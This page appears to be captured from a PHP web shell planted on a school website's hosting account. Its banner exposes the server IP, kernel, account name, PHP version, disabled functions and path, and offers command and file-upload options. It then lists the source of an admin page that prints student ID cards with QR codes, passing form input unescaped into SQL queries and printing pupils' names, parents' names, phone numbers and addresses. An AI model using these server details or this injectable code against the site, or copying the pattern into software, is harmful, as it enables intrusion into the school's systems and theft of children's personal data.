|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/back/../sale/../gsmps/as/../admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css">
<?php
include("../link/databaseconnection.php");
session_start();
$lg=$_SESSION['admin'];
$class=$_POST['class'];
$session=$_POST['session'];
?>
<style>
@media print {
#div {
display: inline-block;
padding: 0.7rem 0.7rem;
text-transform:uppercase;
}
#name{color:blue!important;}
}
#u {
text-transform:uppercase;
font-size:11px;
}
.up {
font-size:11px;
text-transform:capitalize
}
#session {
color:black;
}
#col{color:red}
.top-left {
position: absolute;
top: 156px;
left: 19px;
font-size:11px;
font-weight:bold;
width:190px;
}
#pic {
position: absolute;
top: 110px;
left: 35px;
border:1px solid;
}
#name {
position: absolute;
top: 193px;
left: 35px;
width:100%;
font-size:12px;
font-weight:bold;
text-transform:uppercase;
}
#mob {
position: absolute;
top: 210px;
left: 45px;
width:100%;
font-size:10px;
font-weight:bold;
}
#u
{
font-weight:bold;
}
#fname {
position: absolute;
top: 110px;
left: 100px;
font-size:10px;
width:100px;
text-transform:uppercase;
}
#fwidth {
width:170px;
}
#class {
position: absolute;
top: 182px;
left: 39px;
font-size:10px;
}
#se {
position: absolute;
top: 148px;
margin-left:-12px;
font-size:11px;
font-weight:bold;
transform:rotate(-90deg);
}
#sch {
position: absolute;
top: 268px;
left: 68px;
font-size:12px;
font-weight:bold;
}
#session {
position: absolute;
top: 115px;
left: 20px;
font-size:10px;
font-weight:bold;
color:red;
}
#qr {
position: absolute;
top: 238px;
left: 22px;
}
#sign {
position: absolute;
top: 270px;
left: 135px;
}
#br {
top: 270px;
left: 135px;
}
</style>
</head>
<body>
<div class="container-fluid">
<div class="row">
<!--menu-->
<!--menu--close-->
<?php
$f = "0";
if(!file_exists($f)){
touch($f);
$handle = fopen($f, "w" ) ;
fwrite($handle,0) ;
fclose ($handle);
}
include('libs/phpqrcode/qrlib.php');
if($class=='All')
{
$sel="select * from registration where session ='$session' ";
}
else
{
$sel="select * from registration where session ='$session' and subject='$class' ";
}
$res=mysqli_query($conn,$sel);
$s=1;
while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
$email = $row['application'];
$subject = $row['name'];
$father = $row['fname'];
$filename = $row['id'];
$class = $row['subject'];
$vill = $row['village'];
$dist = $row['dist'];
$code = $row['code'];
if($code>0)
{
$code="Yes";
}
else
{
$code="No";
}
//$link = $cl;
$tempDir = 'temp/';
$r='Sr No : '.$email . ', Name : '.$subject .', Father : '.$father. ', Class : '.$class .', Add :'.$vill. $dist ;
$codeContents = $r;
QRcode::png($codeContents, $tempDir.''.$filename.'.png', QR_ECLEVEL_L, 5);
?><div class='col-sm-2' id='div' style='border-bottom: 30px solid white ;height:310px;width:210px;margin-top:60px'>
<img src='../images/gs_id.png' style='height:310px;width:210px'>
<img src='../code/img/<?php echo $row['picture'];?>' style='height:80px;width:60px' id='pic'>
<img src="temp/<?php echo $filename.'.png';?>" style='height:45px;width:45px' id='qr'>
<p id='se' class='c'> <?php echo $session;?></p>
<p id='sch' class='c' > <span id='u'><?php echo $email;?></span></p>
<p id='name' ><span style='color:blue'><?php echo $row['name'];?></span></p>
<p id='fname' class='c'><span id='u' >F.Name :</span><br/><?php echo $row['fname'];?>
<br/> <span id='u'>Class : </span><?php if($row['subject']=='PLAY GROUP'){echo 'P. GROUP';}else{echo $row['subject'];};?>
<br/> <span id='u'>Conv. : </span><?php echo $code;?>
</p>
<p id='mob' class='c'><span id='u'>Mob : </span> <?php echo $row['mobile'];?>
<br/><span id='u'>Add : </span> <?php echo substr($vill,0,18);?>
<br/>      <?php echo $row['dist'];?>
</p>
</div>
<?php if($s==10){?>
<span id='br'></span>
<?php
}
$s++;
}
?>
</div>
</html>